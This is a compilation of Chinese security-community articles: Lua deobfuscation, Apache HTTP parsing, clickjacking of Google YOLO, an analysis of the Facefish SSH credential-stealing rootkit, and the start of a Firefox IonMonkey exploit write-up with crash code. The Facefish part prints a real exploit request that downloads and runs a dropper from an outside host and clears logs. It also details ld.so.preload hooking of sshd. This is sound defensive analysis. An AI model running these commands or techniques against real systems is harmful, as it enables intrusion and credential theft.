提取了半天，也没找到什么有用的东西，决定试试玩玩他的lua，发现他拒绝编译文本，只能运行预编译的，因此需要用替换好OP的程序编译一份出来。
然后手动调用DoString，这里可以用Base64创建数组。
成了，说明可以用，接下来看看那个解密函数是什么东西。
不给dump，看看是为什么，似乎是因为不是lua函数而是CS端或者是native的？继续看看CustomLoader
经过测试应该是在这几个Init里赋值的
Hook xlua的setglobal，看看是在哪里赋值的
竟然是在xLua的Init之前，打印堆栈
定位到xlua.dll的这里，有混淆代码
是在lua_newstate里进行初始化的
先看看汇编，实在不行解混淆，这儿是能看到把这个函数注册到sb_1184180438
不行，还是要解混淆，初步思路是检测这个特征，然后用angr符号执行替换完事，写脚本开干
好家伙，一万多个，慢慢爆吧
修复结束之后，继续看，发现还有一堆这样的，结合上下文似乎应该是条件跳转，用dl的值判断然后跳到两个地址位置
先看一眼，这里应该是解密字符串，解密之后就是sb函数名了应该
继续修复，这里要修复条件，稍微复杂了一点点
还有一些零碎的地方，先不修了，先看看sb
很多sub_180024390都是耍人玩的，层层switch_case最后只是简单的功能，我们只看关键代码，似乎是相邻异或，从最后一位开始，最后一位由0xA3开始，那么解密看看。
再反汇编一下，成功
## 总结
Lua主要就是OpCode
Swap，可以手动爆也可以用模板脚本编译然后对照，但实际上如本文的样本，把编译功能关了就只能手动爆了。其他的反混淆好像和Lua也没啥关系，但也是这个样本里的东西，就顺便提一下吧，另外这种多层的switch-case函数混淆貌似也没法修复，有没有懂哥欢迎评论。 | 社区文章 |
# 简析Apache如何解析HTTP请求
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
之前看了看Apache是如何解析HTTP请求的，整理了一下笔记，说说其中的一些要点。
首先，在最新版本的Apache服务器http2.4.41中，似乎移除了对HTTP的许多“兼容特性”，这些特性是不符合RFC标准的，而笔者当时阅读的代码为2.4.3，本文记录了笔者在阅读代码时认为十分重要的一些解析细节。
## read a line
Apache读到LF字符时，就判断一行已经读完了。
## before request line
读取请求行时，会跳过blank line，默认为DEFAULT_LIMIT_BLANK_LINES 次
（limit_req_fields没有被初始化），奇怪的是在2.4.3源码中没有搜索到定义值，在2.4.41中倒是搜索到了。
Apache之所以会这样做，代码中解释说，浏览器在发POST请求时，会在末尾添加CRLF，如果形成一个pileline请求，request
line前面就会有空行。
## request line
请求行默认长度最大为8190字节，请求行由三部分组成 method、uri、version
在获取method 、uri的时候，需要判断是否空白字符，2.4.3使用isspace来判断是否空白字符。
内置method有26个，未被识别时返回UNKNOWN_METHOD（为啥phpstudy搭建的2.4.23 瞎写method都可以…）
version没被解析成功的情况下，被设置为HTTP1.0
URI是如何解析的，没有看到具体代码，相应的函数是个钩子函数。
在URL路径中，即？前面的字符串中，如果存在畸形URL编码，如%fg，则直接返回400；如果存在0字符，则返回404
## header filed
每个头部默认长度最大为8190字节，头部个数最大默认为100
如果一个头部以SP或HT字符开头，表示该头部是上一个头部的extended，或者说是一个continue header
line，该行将被合并到上一行，符合RFC。
请求域行中必须要有冒号 :
头部中的多个LWS字符会被跳过。
相同头部字段名的头部行将被合并，缓冲区大小不变
## TE
Transfer-Encoding存在时忽略Content-Length
TE头部的值必须为chunked
## must hostname
http 1.1必须要有host头部字段，否则返回400
当Content-Type不为空且前面33个字符值为application/x-www-form-urlencoded时，会将Body认为为表单，并以”&”符号分割表单，“=”区分key
value，并且会对二者都进行URL解码，详细代码冗长，就不贴出来了。
## 结语
代码最后看下来，在HTTP解析这块，我们需要关注的要点不是很繁多，而C代码只以业务功能的视角来浏览的话，不难。
不过没有看到Apache解析multipart/form-data的代码，说明这种内容格式是web语言处理的。 | 社区文章 |
沈沉舟（四哥）"青衣十三楼"截至2018.12.18所有技术文档离线包(7-Zip展开即可，100%离线):
<http://scz.617.cn:8/offline/scz_offline.7z>
其中包含历史文档中若干错别字及标点符号修正。从技术层面讲，没有收藏价值，慎下。从某种意义上讲，对于某些围观群众而言，本站是渐行渐远的青春以及永不谢幕的好奇。
镜像：https://paper.seebug.org/papers/scz/
* * * | 社区文章 |
原文：[https://webcache.googleusercontent.com/search?q=cache:kv9fSsl32yEJ:https://blog.innerht.ml/google-yolo/+&cd=1&hl=en&ct=clnk](https://webcache.googleusercontent.com/search?q=cache:kv9fSsl32yEJ:https://blog.innerht.ml/google-yolo/+&cd=1&hl=en&ct=clnk)
在当今世界中，按钮已经无处不在，如电梯按钮、机械按钮，甚至位于总统办公桌上的“核按钮”，等等。但是，你是否想过，当我们按下这些按钮时，它们所执行的真的是我们想要的操作吗？
`<iframe>`是一个HTML元素，可用于在一个网页中嵌入另一个网页。在下面的页面中，我嵌入了一个伪造的银行网站（这个例子是从@lcamtuf那里学来的，并做了稍微的改动）页面。
**注意：这里仅仅给出示意图，实际效果请访问原文**
就本场景来说，您只要点击了“Transfer
everything”按钮，那么您的所有资金应该会全部转给我。当然这里只是给出一个场景，实际上，点击后并不会发生任何事情。但是，您会点击它吗？
现在，我们为读者介绍另一个按钮。除了提示“无害性”之外，该按钮没有给出任何信息，不过，我建议您点击试试。
**注意：这里仅仅给出示意图，实际效果请访问原文**
呃哦，看起来你的钱都归我了。别担心，这只是虚拟货币，根本不值钱（这一点与比特币截然相反）。那么，究竟是怎么回事呢？我们知道，CSS有一个名为position的属性，可用于将一个元素放到另一个元素的上面。另外，属性pointer-events还允许点击事件“穿过”一个元素，这样的话，用户的点击实际上将注册到下面的元素上。当将两者结合使用时，攻击者就可以在实际按钮上叠加一个假按钮，并诱骗受害者点击它。读者可以通过“Behind
the scene”按钮来直观地了解其工作机制。这是一种经常被忽视和误解的Web应用程序漏洞，通常称为Clickjacking，或点击劫持漏洞。
**预期的应用场景**
由此可见，`<iframe>`是非常危险的，pointer-events更是致命的，那么，我们是否应该删除它们呢？也是，也不是。如果没有应用场景，许多东西就根本不会被发明出来，`<iframe>`也是如此。事实上，在线广告是严重依赖于`<iframe>`的。更重要的是，web
widget也需要用到`<iframe>`。此外，Facebook的like按钮和Facebook评论插件也是利用`<iframe>`实现的。
下面是另一个无害的按钮，我建议读者单击一下，试试会发生什么。
**注意：这里仅仅给出示意图，实际效果请访问原文**
如果您已经登录Facebook，那么您刚才的点击动作，实际上是去给我的贴子点赞（在此谢过），不过这一点您自己根本意识不到。这一次，我们利用的是opacity属性，而非pointer-events。实际上，opacity是用于控制元素不透明度的一个CSS属性。当然，攻击者只要将透明的Facebook like
按钮堆叠到其他可见的按钮的上面，也可以实现相同的点击劫持效果，因此，即使不用pointer-events，照样会受到点击劫持攻击的威胁。顺便说一下，这其实是一种名为Likejacking的Blackhat
SEO技术，本质上就是利用点击劫持攻击来获得大量有效的赞。
**注意：这里仅仅给出示意图，实际效果请访问原文**
算起来，攻击者通过 web
widget来利用点击劫持漏洞已经有一段日子了。实际上，许多社交媒体网站都很容易受到这种威胁的影响。例如，攻击者可以通过点击劫持攻击，[利用Twitter的关注按钮来“吸粉”](http://nogues.pro/twitter-follow-clickjacking.html
"利用Twitter的关注按钮来“吸粉”")，或者[利用LinkedIn的自动填充按钮将访问者的信息泄露给第三方网站](https://lightningsecurity.io/blog/linkedin/
"利用LinkedIn的自动填充按钮将访问者的信息泄露给第三方网站")。现在，这些网站已开始通过添加用户交互来修复这些问题，例如，为用户打开一个新窗口来确认操作等。事实上，Likejacking现在可能已经失效了。如果点击上面的Facebook
like按钮，它可能会变成“Confirm”按钮，也就是要求您再次点击以进行确认。实质上，他们现在使用算法来判断嵌入的网站是否值得信赖，从而确定额外的用户交互数量，以在可用性和安全性之间的取得平衡。
**Framebuster**
* * *
显然，“消灭”`<iframe>`和某些CSS属性并不是一个好主意。我们真正需要的，是让网站获得禁止其他网站嵌入其中的能力。之前，人们开发了一种名为Framebusting的技术，该技术可以使用JavaScript来检查一个网站是否嵌入了其他网站的页面。由于window.top总是指向最外层的框架，因此，通过将它与window.self进行比较，就可以确定嵌入的站点是否为其自身。下面给出一段最常用的JavaScript检测代码：
if (top != self)
top.location = self.location
但是，基于JavaScript的framebuster通常都有许多安全缺陷。例如，onBeforeUnload可以中止导航；XSS
Filter可以禁止执行特定的JavaScript代码，这一点我在[之前的一篇文章中](https://blog.innerht.ml/the-misunderstood-x-xss-protection/
"之前的一篇文章中")已经介绍过了；同时，`<iframe>`的sandbox属性甚至可以全面禁止嵌入的站点中的所有JavaScript代码。此外，论文[《
Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular
Sites》](https://crypto.stanford.edu/~dabo/pubs/papers/framebust.pdf "《 Busting
Frame Busting: a Study of Clickjacking Vulnerabilities on Popular
Sites》")的研究结果进一步表明，基于JavaScript的framebuster在安全方面确实是非常脆弱的。
幸运的是，各浏览器已经开始支持HTTP响应头X-Frame-Options，用来控制自己网站的页面是否可以嵌入到iframe或frame中：X-Frame-Options：DENY表示自己网站页面不能被嵌入到任何iframe或frame中；X-Frame-Options：SAMEORIGIN表示页面只能被本站页面嵌入到iframe或者frame中；X-Frame-Options：ALLOW-FROM表示只有指定的站点才能将本站页面嵌入到iframe或者frame中。注意: CSP Level 2 规范中的 frame-ancestors
指令会替代这个非标准的头部。
但是，X-Frame-Options：SAMEORIGIN存在一个严重的安全漏洞：[只将嵌入的网站与顶层的frame进行比较](https://bugzilla.mozilla.org/show_bug.cgi?id=725490
"只将嵌入的网站与顶层的frame进行比较")。
有的读者可能会问，既然嵌入的页面与顶层的frame是同源的，为什么还会出问题呢？
别忘了，一些网站或明或暗地允许使用自定义iframe。实际上，[Twitter Player
Card](https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/player-card "Twitter Player
Card")就很容易受到这个安全隐患的影响。当你推送链接时，Twitter将获取链接并读取其meta数据。如果Open
Graph属性指定了播放器的URL，则Twitter会将该URL直接嵌入到时间轴中的iframe中。这样，我们就可以在“播放器”中嵌入一个敏感的Twitter页面，例如OAuth授权页面，然后在授权按钮上面覆盖一个假按钮。
**注意：这里仅仅给出示意图，实际效果请访问原文**
在实际的漏洞利用中，我在主窗口中通过onblur来检测点击事件，因为只要点击iframe就会触发相应的焦点事件，然后，我会发送一个反馈（播放视频），使点击劫持不那么显而易见。如果读者感兴趣的话，可以从我的[演示文档](https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks "演示文档")中了解更多的相关示例。
在撰写本文时，只有Chrome和Firefox通过对所有frame祖先进行检查修复了这个安全问题，这里的frame祖先与CSP的frame-ancestors 'self'是相一致的。
**回到正题上来……**
* * *
我知道您在想什么：上面说了这么多，但是到底跟“Google
YOLO”有什么关系呢？在告诉您答案之前，建议读者先登录Google并刷新该页面：），如果您是在PC上通过现代浏览器来浏览该页面的话，将会收获一份“惊喜”:)
[YOLO](https://developers.google.com/identity/one-tap/web/ "YOLO")（You Only
Login Once，您只需登录一次）是谷歌提供的一种web
widget：用户只需在应用程序或网站上登陆一次，并保存到智能密码锁中，密码将经由此智能程序自动登录到各个设备上。返厂重置手机和加载新手机都变得更加简单，因为一旦登录谷歌账户，所有认证信息将自动应用到客户的所有设备中，无需登录第二次。也就是说，我们在自己的网站上嵌入了Google提供的iframe，用户只需通过一次简单的点击即可通过Google帐户进行身份验证。具有讽刺意味的是，“web
widgets”和“one click”确实是YOLO（You Only Live Once，你只活一次）。
还记得之前点击的cookie同意按钮吗？是的，这是一个点击劫持攻击:)。
当您使用Google YOLO登录时，会传输以下数据：
{
"id": "[email protected]",
"authMethod": "https://accounts.google.com",
"authDomain": "https://blog.innerht.ml",
"displayName": "file descriptor",
"profilePicture": "https://lh6.googleusercontent.com/-enDr8I8LBzQ/AAAAAAAAAAI/AAAAAAAAAH0/bANw2nF8nWI/photo.jpg?sz=96",
"idToken": "redacted"
}
利用Google
YOLO上的点击劫持漏洞，攻击者可以获取访问者的姓名、头像和电子邮件地址。没错，攻击者甚至可以知道你的电子邮件地址。:)。现在，Google已经悄悄地“修复”了这个问题，详情请参阅文章的末尾部分。
我向Google报告了这一隐私问题，但他们拒绝解决该问题，因为他们认为这是一个“符合预期的行为”，具体回复如下所示：
Thanks for your bug report and research to keep our users secure! We've
investigated your submission and made the decision not to track it as a
security bug.
The login widget has to be frameable for it to work. I'm not sure how we could
fix this to prevent this problem, but thanks for the report!
This report will unfortunately not be accepted for our VRP. Only first reports
of technical security vulnerabilities that substantially affect the
confidentiality or integrity of our users' data are in scope, and we feel the
issue you mentioned does not meet that bar :(
**给我们的启示……**
* * *
实际上，不要轻易点击任何东西。恶意网站可以轻松地跟踪访问者的光标位置，并相应地改变不可见按钮/iframe的位置。所以，只要你点击了鼠标，攻击者就能迫使你点击他们想要你点击的东西。
**注意：这里仅仅给出示意图，实际效果请访问原文**
到目前为止，还没有彻底根治点击劫持漏洞的措施；不过，缓解措施还是有的：
* 网站需要主动部署X-Frame-Options或Content-Security-Policy头部。
* Web widget供应商需要确保需要提供足够的用户交互。
* 用户可以考虑禁用第三方cookie。
* 使用浏览器配置文件。
最后但并非最不重要的是，你还敢点击下面的按钮吗:)？
**注意：这里仅仅给出示意图，实际效果请访问原文**
**更新**
* * *
在本文发表后不久，Google就悄然地阻止了我的域名使用该API：
The client origin is not permitted to use this API.
最后，祝大家阅读愉快！ | 社区文章 |
# 窃密者Facefish分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景介绍
2021年2月，我们捕获了一个通过CWP的Nday漏洞传播的未知ELF样本，简单分析后发现这是一个新botnet家族的样本。它针对Linux
x64系统，配置灵活，并且使用了一个基于Diffie–Hellman和Blowfish的私有加密协议。但因为通过合作机构（在中国区有较好网络通信观察视野）验证后发现对应的C2通信命中为0，所以未再深入分析。
2021年4月26号，Juniper发布了关于此样本的[分析报告](https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor)，我们注意到报告中忽略了一些重要的技术细节，所以决定将漏掉的细节分享出来。
该家族的入口ELF样本MD5=38fb322cc6d09a6ab85784ede56bc5a7是一个Dropper，它会释放出一个Rootkit。因为Juniper并未为样本定义家族名，鉴于Dropper在不同的时间点释放的Rootkit有不同的MD5值，犹如川剧中的变脸，并且该家族使用了Blowfish加密算法，我们将它命名为Facefish。
## Facefish概览
Facefish由Dropper和Rootkit
2部分组成，主要功能由Rootkit模块决定。Rootkit工作在Ring3层，利用LD_PRELOAD特性加载，通过Hook
ssh/sshd程序的相关函数以窃取用户的登录凭证，同时它还支持一些后门功能。因此可以将Facefish定性为，一款针对Linux平台的窃密后门。
Facefish的主要功能有
* 上报设备信息
* 窃取用户凭证
* 反弹Shell
* 执行任意命令
基本流程如下图所示：
## 传播方式
在野利用的漏洞如下所示
POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xxx.xx.xx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0
将与Facefish相关部分转码后，得到以下执行命令序列，可以看出主要功能为下载执行第一阶段的payload，然后清理痕迹。
cd /usr/bin;
/usr/bin/wget <http://176.111.174.26/76523y4gjhasd6/sshins>;
chmod 0777 /usr/bin/sshins;
ls -al /usr/bin/sshins; ./sshins;
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins;
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log;
history -c
## 逆向分析
简单来说，Facefish的感染程序可以分成3个阶段，
Stage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper
Stage 1: 释放阶段，Dropper释放出Rootkit
Stage 2:业务阶段，Rootkit 收集回传敏感信息，等待执行C2下发的指令
下文将从Stage 1到Stage 2着手，分析Facefish的各个阶段的技术细节。
### Stage 1:Dropper分析
Dropper的基体信息如下所示，主要功能为检测运行环境，解密存有C2信息的Config， 配置Rootkit，最后释放并启动Rootkit。
> MD5:38fb322cc6d09a6ab85784ede56bc5a7
>
> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked,
> stripped
>
> Packer: UPX
另处值得一提的是，Drooper在二进制层面，采用了一些tricks来对抗杀软的查杀。
### Trick 1:upx with overlay
如下图所示，将加密的Config数据作为overlay，填充到upx加壳后的样本尾部。
这种做法的目的有2个:
1. 对抗upx脱壳
2. Config数据与样本解耦，可以通过工具更新Config，无需再编译源码，方便在黑市流通
### Trick 2:elf without sections
如下图所示，脱壳后样本中的section信息被抹除了
这种做法的目的有2个:
1. 某些依赖section的信息进行分析的工具无法正常工作，抹除section在一定程度上加大了分析难度
2. 某些杀毒引擎依赖section信息生成特征的的检测区，抹除section在一定程度上实现了免杀
### Dropper主要功能
Dropper运行时会输出下图中的信息：
根据这个信息，我们将Dropper的功能分成了以下4个阶段
1. 检测运行环境
2. 解密Config
3. 配置Rootkit
4. 释放并启动Rootkit
**0x1:检测运行环境**
首先读取/bin/cat的前16个字节，通过判断第5个字节(EI_CLASS)的值来判断当前系统的位数,目前Facefish只支持x64系统。然后检查自身否在root权限下运行，最后尝试从自身文件尾部
读入Config信息。其中任一环节失败，Facefish都将放弃感染，直接退出。
**0x2:解密Config**
原始的Config信息长度为128字节，采用Blowfish算法的CBC模式加密，以overlay的形式储存在文件尾部。其中Blowfish的解密key&iv如下：
* key:buil
* iv:00 00 00 00 00 00 00 00
值得一提的是在使用Blowfish时，其作者在编码过程中，玩了一个小trick来“恶心”安全研究人员，以下图代码片段为例：
第一眼看上去，会让人以为Blowfish的密钥为”build”。注意第3个参数为4，即密钥的长度为4字节，所以真实的密钥为”buil”。
以原始的Config为例，
BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7
解密后的Config如下所示，可以看到其中的c2:port信息（176.111.174.26:443）。
各字段具体的含义如下:
OFFSET | LENGTH | MEANING
---|---|---
0x00 | 4 | magic
0x0c | 4 | interval
0x10 | 4 | offset of c2
0x14 | 4 | port
0x20(pointed by 0x10) | | c2
解密完成后，通过以下代码片段对Config进行校验，校验方法比较简单，即比较magic值是不是0xCAFEBABE，当校验通过后，进入配置Rootkit阶段。
**0x3:配置Rootkit**
首先以当前时间为种子随机生成16个字节做为新的Blowfish的加密key，将上阶段的解密得到的Config使用新的key重新加密。
然后利用标志0xCAFEBABEDEADBEEF定位Dropper中的Rootkit的特定位置，写入新的加密key以及重新加密后的Config信息。
文件的变化如下所示：
写入之前：
写入之后：
在这个过程中因为加密key是随机生成的，所以不同时间释放的Rootkit的MD5值是不一样的，我们推测，这种设计是用来对抗杀软黑白HASH检测。
另外值得一提的是，Facefish专门对FreeBSD操作系统做了支持。实现方法比较简单，如下图所示，即通过判断cat二进制中的EI_OSABI是否等于9，如果是则把Rootkit中的EI_OSABI值修改成9。
**0x4:释放并启动Rootkit**
将上阶段配置好的的Rootkit写到 /lib64/libs.so文件中，同时向/etc/ld.so.preload写入以下内容实现Rootkit的预加载。
/lib64/libs.so
通过以下命令重起ssh服务，让Rootkit有机会加载到sshd程序中
/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service
实际效果如下所示：
至此Dropper的任务完成，Rootkit开始工作。
### Stage 2:Rootkit分析
Facefish的Rootkit模块libs.so工作在Ring3层，通过LD_PRELOAD特性加载，它基本信息如下所示：
> MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2
>
> ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
> stripped
在IDA中能看到它导出了3个函数，根据preload机制，当rootkit被加载时，它们会替代libc的同名函数，实现hook。
init_proc函数，它的主要功能是hook ssh/sshd进程中的相关函数以窃取登录凭证。
bind函数，它的主要功能是上报设备信息，等待执行C2下发的指令。
start函数，它的主要功能是为网络通信中的密钥交换过程计算密钥。
### .init_proc 函数分析
.init_proc函数首先会解密Config，取得C2,PORT等相关信息，然后判断被注入的进程是否为SSH/SSHD，如果是则对处理凭证的相关函数进行HOOK，最终当ssh主动对处连接，或sshd被动收到外部连接时，Facefish在Hook函数的帮助下，窃取登录凭着并发送给C2。
**0x1 寻找SSH**
如果当前系统为FreeBSD则，通过dlopen函数获取link_map结构的地址，利用link_map可以遍历当前进程所加载的模块，进而找到SSH相关模块。
如果当前系统不是FreeBSD，则通过.got.plt 表的第2项，得到link_map的地址。
得到SSH相关模块后，接着判断模块是否为ssh/sshd，方法比较简单，即验证模块中是否有以下字串。通过这一点，可知Facefish事实上只攻击OpenSSH实现的client/server。
1:usage: ssh
2:OpenSSH_
**0x2 HOOK函数**
首先，Facefish会查找hook的函数地址
其中要hook的ssh函数如所示：
要hook的sshd函数如下所示：
如果没有找到，则将函数名加上前缀Fssh_再找一次。如果还是没有找到，则通过函数中的字串间接定位到函数。最后通过以下代码片断实现Hook。
实际中HOOK前后的对比如下所示：
**0x3 窃取登录凭证**
Facefish在Hook后的函数帮助下，窃取登录凭证，并上报给C2。
上报的数据格式为%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s，其中前32节节为加密的key，后面跟着账号，远程主机，密码等信息。
实际中上报的信息如下所示：
### bind 函数分析
一旦用户通过ssh登录，将会触发bind函数接着执行一系列后门行为，具体分析如下：
如果后门初始化正常，首先会fork后门子进程并进入连接C2的指令循环，父进程则通过syscall(0x68/0x31)调用真正的bind函数。
**0x1: 主机行为**
判断sshd父进程是否存在，如果父进程退出，则后门进程也退出。
如果父进程存在开始收集主机信息，包括：CPU型号、Arch，内存大小、硬盘大小、ssh服务相关配置文件和凭证数据。
CPU型号
内存
硬盘
网络设备
SSH服务相关
**0x2: C2指令介绍**
Facefish使用的通信协议及加密算法比较复杂，其中0x2XX开头的指令用来交换公钥，我们在下一小节进行详细分析。0x3XX开头的指令是真正的C2功能指令。这里先对C2的功能指令做简单说明。
* 发 0x305是否发送上线信息0x305，如果没有则收集信息并上报。
* 发0x300功能上报窃取的凭证信息
* 发0x301收集uname信息，组包并发送0x301，等待进一步指令。
* 收0x302接受指令0x302，反向shell。
* 收0x310接受指令0x310，执行任意的系统命令
* 发0x311发指令0x311，返回系统命令的执行结果
* 收0x312接受指令0x312，重新收集并上报主机信息。
**0x3: 通信协议分析**
Facefish的rootkit使用了一个自定义的加密协议进行C2通信，该协议使用DH
[(Diffie–Hellman)](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange)
算法进行密钥协商，使用BlowFish对称加密算法进行数据加密。具体运行时，单次C2会话可以分为两个阶段，第一阶段对应密钥协商，第二阶段便是使用协商好的密钥进行C2加密通信。Facefish的每次C2会话只收取并解密一条C2指令，然后便会结束。不难看出，因为使用了DH和Blowfish算法，仅从流量数据入手是无法获取其C2通信内容的，而且这种一次一密的通信也不会留下用于精准识别的流量特征。
一般来说使用DH协议框架通信最简便的方法是使用OpenSSL库，而Facefish的作者自己编码(或者使用了某些开源项目)实现了整个通信过程，因为没有引入第三方库所以代码体积非常精减。
* DH通信原理为了更好的理解Facefish的密钥交换代码，我们需要先简单了解一下DH通信原理。这里不讨论背后的数学原理，而是用一个简单的例子直接套公式描述通信过程。step 1. 甲生成一个随机数 a=4，选择一个素数 p=23，和一个底数 g=5，并计算出 公钥A:A= g^a%p = 5^4%23 = 4，然后将p，g，A同时发送给乙。
step 2. 乙收到上述信息后也生成一个随机数 b=3，使用同样的公式算出公钥B:B = g^b%p = 5^3%23 =
10，然后将B发送给甲。同时乙计算出双方共享的机密值用于生成后续的Blowfish密钥: s = A^b%p = (g^a)^b%p = 18。
step 3. 甲收到B后也可以计算出共享机密值：s = B^a%p = (g^b)^a%p = 18
step 4. 甲乙双方基于共享机密s生成blowfish密钥，进行加密C2通信。
实质上通过简单推导可以看出甲和乙计算s的公式是同一个 ：
在整个算法中有一个关键的数学函数求幂取模 power(x, y) mod
z，当x，y都很大的时候直接求解比较困难，所以就用到了[快速幂取模算法](https://oi-wiki.org/math/quick-pow/)。前文提到的start函数正是快速幂取模 binpow() 中的关键代码，
* 协议分析发包和收包使用相同的数据结构。
struct package{
struct header{
WORD payload_len; //payload长度
WORD cmd; //指令编码
DWORD payload_crc; // payload crc校验值
} ;
struct header hd;
unsigned char payload[payload_len]; // 数据
}
以构造0x200指令数据包为例可以定义数据包如下：
struct package pkg = {
.hd.payload_len = 0;
.hd.cmd = 0x200;
.hd.payload_crc = 0;
.payload = "";
}
对照DH通信原理和流量数据我们分析通信协议：
1. bot首先发送指令0x200，payload数据为空。
2. C2回复了指令0x201，payload长度为24个字节，按小端转换成3个 64位的数值，分别对应step1中甲发送的3个关键数据，p=0x294414086a9df32a，g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758。
3. 对应step2，bot在本地生成了一个随机数b，然后根据收到的p，g 生成B=0x0e27ddd4b848924c，通过指令0x202发送给C2。至此完成了共享机密的协商。
4. 对应step3，bot和C2通过公钥A和公钥B生成Blowfish密钥s和iv。其中iv是通过p和g异或得到的。
5. 有了iv 和 s 我们可以对通信数据进行加解密。真正的通信数据采用BlowFish算法加解密，和前文提到的配置文件加密的方法是一致的。bot向C2发送0x305指令，长度为0x1b0，内容是BlowFish加密后的上线包数据。解密后的上线包数据如下：
## IOC
Sample MD5
38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so
C2
176.111.174.26:443 | 社区文章 |
注：本篇文章是一篇译文。主要内容为火狐64位上的漏洞利用，原作者寻找解决的方法，和利用的思路非常值得学习。内容相当丰富。文章最后2部分，因为不涉及到具体的技术，故没有翻译。
原文链接：<https://blog.bi0s.in/2019/08/18/Pwn/Browser-Exploitation/cve-2019-11707-writeup/>
* IonMonkey不检查当前元素 prototypes 上的索引元素，只检查 ArrayPrototype。内联Array.pop之后，这会导致类型混淆。
* 我们混淆了一个 Uint32Array 和一个 Uint8Array 来获取 ArrayBuffer 中的溢出并继续将其转换为任意读写并执行了shellcode。
## 漏洞
这个漏洞，在[Project Zero bug tacker](https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 "Project Zero bug tacker") 上已经有很好的描述。但这里，还是要仔细说明一下。
主要问题是在这：IonMonkey 在 **内联** **Arrary.prototype.pop** ,
**Arrary.prototype.push** , 和 **Arrary.prototype.slice** 时，没有检查 **prototype**
上的索引元素。它只检查 **Array prototype** 链上是否有任何索引元素。那么，在使用目标对象和 **Array prototype**
之间使用中间链，就可以很容易的绕过它。那什么是 **内联** 和 **prototype** 链？ 让我们在深入研究bug细节之前先简单介绍一下这些内容。
**prototype**
是JavaScript实现继承的方式。它基本上允许我们在各种对象之间共享属性和方法（我们可以将对象视为与其他OOP语言中的类相对应）。我的一个队友已经写了一篇关于
[JS prototypes](https://blog.0daylabs.com/2019/02/15/prototype-pollution-javascript/ "JS prototypes") 的相当全面的文章，我建议阅读他帖子的前5部分。 prototypes 更深入的部分，可以在
[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain "MDN") 页面上找到。
内联缓存意味着保存先前查找的结果，以便下次进行相同的查找时，直接使用保存的值，节约查找的成本。因此，当我们调用：Array.pop（），那么初始查找涉及以下内容：
获取数组对象的 prototype ，然后在其属性中搜索 pop 函数，最后获取 pop 函数的地址。现在，如果此时内联 pop
函数，则保存此函数的地址，并在下次调用 Array.pop 时，所有这些查找都不需要重新计算。
V8开发人员 [Mathias Bynens](https://twitter.com/mathias "Mathias Bynens")
撰写了几篇关于[内联缓存](https://mathiasbynens.be/notes/shapes-ics "内联缓存")和
[prototype](https://mathiasbynens.be/notes/prototypes "prototype") 的非常好的文章。
现在让我们来看看saelo发现的崩溃样本
// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
if (v4.length == 0) {
v4[3] = {a: 5};
}
// pop the last value. IonMonkey will, based on inferred types, conclude that the result
// will always be an object, which is untrue when p[0] is fetched here.
const v11 = v4.pop();
// Then if will crash here when dereferencing a controlled double value as pointer.
v11.a;
// Force JIT compilation.
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;
for (let v31 = 0; v31 < 1000; v31++) {
v7();
}
最初有一个数组 v4 ，它所有元素都用对象创建。SpiderMonkey的类型推理机制将会注意到这一点，并认为由 const 定义的数组 v4
将始终保持其中的对象。
现在，另一个数组 p 也使用对象初始化，并将 p [0] 设置为浮点数。那么有趣的点来了，v4 的 prototype
改变了，但是类型推理机制并没有跟踪此情况。这很有趣，但是这还不是bug的地方。
下面来看看函数 v7，虽然 v4 数组中有元素，但它们只是调用 pop 函数并访问元素的 “a” 属性。函数尾部的 for 循环强制 IonMonkey
使用 JIT 编译该函数为及时汇编代码。
这时内联 Array.pop ，IonMonkey 发现 Array.pop
